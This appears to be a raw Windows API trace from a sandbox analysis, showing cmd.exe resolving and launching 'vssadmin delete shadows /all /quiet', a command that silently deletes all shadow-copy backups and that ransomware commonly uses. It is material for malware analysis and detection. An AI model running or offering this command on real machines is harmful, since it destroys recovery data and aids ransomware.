	[0179.470] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xb1e76ff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff718*=0x24, lpOverlapped=0x0) returned 1
	[0179.470] GetProcessHeap () returned 0x2606afe0000
	[0179.470] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x4012) returned 0x2606afe8e90
	[0179.470] GetProcessHeap () returned 0x2606afe0000
	[0179.470] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8e90) returned 1
	[0179.471] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0179.471] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0179.471] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0179.472] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0179.472] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0179.472] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0179.472] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0179.472] GetProcessHeap () returned 0x2606afe0000
	[0179.472] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb0) returned 0x2606aff91a0
	[0179.472] GetProcessHeap () returned 0x2606afe0000
	[0179.472] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x22) returned 0x2606afe6330
	[0179.472] GetProcessHeap () returned 0x2606afe0000
	[0179.472] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x48) returned 0x2606aff9260
	[0179.473] GetConsoleOutputCP () returned 0x4e3
	[0179.845] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0179.845] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0180.397] GetConsoleTitleW (in: lpConsoleTitle=0xb1e76ff560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0181.136] malloc (_Size=0xffce) returned 0x2606b100840
	[0181.136] ??_V@YAXPEAX@Z () returned 0x2606b100840
	[0181.136] malloc (_Size=0xffce) returned 0x2606b110820
	[0181.136] ??_V@YAXPEAX@Z () returned 0x2606b110820
	[0181.136] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0181.136] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0181.137] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0181.138] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0181.139] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0181.139] ??_V@YAXPEAX@Z () returned 0x1
	[0181.139] GetProcessHeap () returned 0x2606afe0000
	[0181.139] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xffde) returned 0x2606afe8e90
	[0181.140] GetProcessHeap () returned 0x2606afe0000
	[0181.140] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x5a) returned 0x2606aff92b0
	[0181.141] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0181.141] malloc (_Size=0xffce) returned 0x2606b110820
	[0181.141] ??_V@YAXPEAX@Z () returned 0x2606b110820
	[0181.141] GetProcessHeap () returned 0x2606afe0000
	[0181.141] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1ffac) returned 0x2606affc1e0
	[0181.143] SetErrorMode (uMode=0x0) returned 0x0
	[0181.143] SetErrorMode (uMode=0x1) returned 0x0
	[0181.143] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2606affc1f0, lpFilePart=0xb1e76fede0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xb1e76fede0*="system32") returned 0x13
	[0181.143] SetErrorMode (uMode=0x0) returned 0x1
	[0181.143] GetProcessHeap () returned 0x2606afe0000
	[0181.143] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606affc1e0, Size=0x4a) returned 0x2606affc1e0
	[0181.143] GetProcessHeap () returned 0x2606afe0000
	[0181.143] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606affc1e0) returned 0x4a
	[0181.143] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0181.143] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0181.143] GetProcessHeap () returned 0x2606afe0000
	[0181.143] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x1b6) returned 0x2606aff8e80
	[0181.144] GetProcessHeap () returned 0x2606afe0000
	[0181.144] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x35c) returned 0x2606aff9b70
	[0181.144] GetProcessHeap () returned 0x2606afe0000
	[0181.144] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606aff9b70, Size=0x1b8) returned 0x2606aff9b70
	[0181.144] GetProcessHeap () returned 0x2606afe0000
	[0181.144] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606aff9b70) returned 0x1b8
	[0181.144] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0181.144] GetProcessHeap () returned 0x2606afe0000
	[0181.144] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xe8) returned 0x2606aff9040
	[0181.144] GetProcessHeap () returned 0x2606afe0000
	[0181.144] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606aff9040, Size=0x7e) returned 0x2606aff9040
	[0181.144] GetProcessHeap () returned 0x2606afe0000
	[0181.144] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606aff9040) returned 0x7e
	[0181.144] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0181.144] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xb1e76feb50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb1e76feb50) returned 0x2606aff90d0
	[0181.145] FindClose (in: hFindFile=0x2606aff90d0 | out: hFindFile=0x2606aff90d0) returned 1
	[0181.145] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xb1e76feb50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb1e76feb50) returned 0xffffffffffffffff
	[0181.145] GetLastError () returned 0x2
	[0181.145] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xb1e76feb50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb1e76feb50) returned 0x2606aff90d0
	[0181.145] FindClose (in: hFindFile=0x2606aff90d0 | out: hFindFile=0x2606aff90d0) returned 1
	[0181.145] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0181.145] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0181.145] ??_V@YAXPEAX@Z () returned 0x1
	[0181.145] GetConsoleTitleW (in: lpConsoleTitle=0xb1e76ff0d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0182.041] GetProcessHeap () returned 0x2606afe0000
	[0182.041] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x21c) returned 0x2606afe77c0
	[0182.041] GetConsoleTitleW (in: lpConsoleTitle=0x2606afe77d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0182.426] GetProcessHeap () returned 0x2606afe0000
	[0182.426] RtlReAllocateHeap (Heap=0x2606afe0000, Flags=0x0, Ptr=0x2606afe77c0, Size=0xa4) returned 0x2606afe77c0
	[0182.426] GetProcessHeap () returned 0x2606afe0000
	[0182.426] RtlSizeHeap (HeapHandle=0x2606afe0000, Flags=0x0, MemoryPointer=0x2606afe77c0) returned 0xa4
	[0182.426] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0183.345] GetProcessHeap () returned 0x2606afe0000
	[0183.345] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe77c0) returned 1
	[0183.345] InitializeProcThreadAttributeList (in: lpAttributeList=0xb1e76feff0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xb1e76feee0 | out: lpAttributeList=0xb1e76feff0, lpSize=0xb1e76feee0) returned 1
	[0183.345] UpdateProcThreadAttribute (in: lpAttributeList=0xb1e76feff0, dwFlags=0x0, Attribute=0x60001, lpValue=0xb1e76feecc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xb1e76feff0, lpPreviousValue=0x0) returned 1
	[0183.345] GetStartupInfoW (in: lpStartupInfo=0xb1e76fef80 | out: lpStartupInfo=0xb1e76fef80*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0183.345] GetProcessHeap () returned 0x2606afe0000
	[0183.345] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x20) returned 0x2606afe7610
	[0183.345] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0183.346] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0183.347] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0183.347] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0183.347] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0183.347] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0183.347] GetProcessHeap () returned 0x2606afe0000
	[0183.347] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe7610) returned 1
	[0183.347] GetProcessHeap () returned 0x2606afe0000
	[0183.347] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x12) returned 0x2606afe7610
	[0183.347] _get_osfhandle (_FileHandle=1) returned 0x254
	[0183.347] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0183.347] _get_osfhandle (_FileHandle=0) returned 0x248
	[0183.347] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0183.347] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xb1e76fef10*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb1e76feee8 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0xb1e76feee8*(hProcess=0x94, hThread=0x98, dwProcessId=0xec4, dwThreadId=0xec8)) returned 1
	[0183.947] CloseHandle (hObject=0x98) returned 1
	[0183.947] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0183.947] GetProcessHeap () returned 0x2606afe0000
	[0183.947] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606affb6b0) returned 1
	[0183.947] GetEnvironmentStringsW () returned 0x2606affab80*
	[0183.947] GetProcessHeap () returned 0x2606afe0000
	[0183.947] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb24) returned 0x2606affb6b0
	[0183.947] FreeEnvironmentStringsA (penv="=") returned 1
	[0183.947] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xb1e76fe3e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xb1e76fe3e8, ReturnLength=0x0) returned 0x0
	[0183.948] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x4349208000, lpBuffer=0xb1e76fe420, nSize=0x7a0, lpNumberOfBytesRead=0xb1e76fe3e0 | out: lpBuffer=0xb1e76fe420*, lpNumberOfBytesRead=0xb1e76fe3e0*=0x7a0) returned 1
	[0183.948] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0
	[0196.510] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xb1e76fee68 | out: lpExitCode=0xb1e76fee68*=0x2) returned 1
	[0196.511] CloseHandle (hObject=0x94) returned 1
	[0196.511] _vsnwprintf (in: _Buffer=0xb1e76ff038, _BufferCount=0x13, _Format="%08X", _ArgList=0xb1e76fee78 | out: _Buffer="00000002") returned 8
	[0196.511] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0196.511] GetProcessHeap () returned 0x2606afe0000
	[0196.511] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606affb6b0) returned 1
	[0196.511] GetEnvironmentStringsW () returned 0x2606affab80*
	[0196.511] GetProcessHeap () returned 0x2606afe0000
	[0196.511] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb24) returned 0x2606affb6b0
	[0196.512] FreeEnvironmentStringsA (penv="=") returned 1
	[0196.512] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0196.512] GetProcessHeap () returned 0x2606afe0000
	[0196.512] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606affb6b0) returned 1
	[0196.512] GetEnvironmentStringsW () returned 0x2606affab80*
	[0196.512] GetProcessHeap () returned 0x2606afe0000
	[0196.512] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xb24) returned 0x2606affb6b0
	[0196.512] FreeEnvironmentStringsA (penv="=") returned 1
	[0196.512] GetProcessHeap () returned 0x2606afe0000
	[0196.512] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe7610) returned 1
	[0196.512] DeleteProcThreadAttributeList (in: lpAttributeList=0xb1e76feff0 | out: lpAttributeList=0xb1e76feff0) 
	[0196.512] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0196.810] ??_V@YAXPEAX@Z () returned 0x1
	[0196.810] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.810] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0196.810] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.810] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff63317fc08 | out: lpMode=0x7ff63317fc08) returned 0
	[0196.810] _get_osfhandle (_FileHandle=0) returned 0x248
	[0196.810] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff63317fc0c | out: lpMode=0x7ff63317fc0c) returned 0
	[0196.810] GetConsoleOutputCP () returned 0x4e3
	[0196.819] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0196.819] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff9040) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff9b70) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff8e80) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606affc1e0) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff92b0) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8e90) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff9260) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe6330) returned 1
	[0196.837] GetProcessHeap () returned 0x2606afe0000
	[0196.837] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606aff91a0) returned 1
	[0196.837] _vsnwprintf (in: _Buffer=0x7ff633187f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb1e76ff418 | out: _Buffer="\r\n") returned 2
	[0196.837] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.837] GetFileType (hFile=0x254) returned 0x3
	[0196.837] _get_osfhandle (_FileHandle=1) returned 0x254
	[0196.837] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0196.838] WriteFile (in: hFile=0x254, lpBuffer=0x7ff633179970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb1e76ff3e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesWritten=0xb1e76ff3e8*=0x2, lpOverlapped=0x0) returned 1
	[0196.838] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
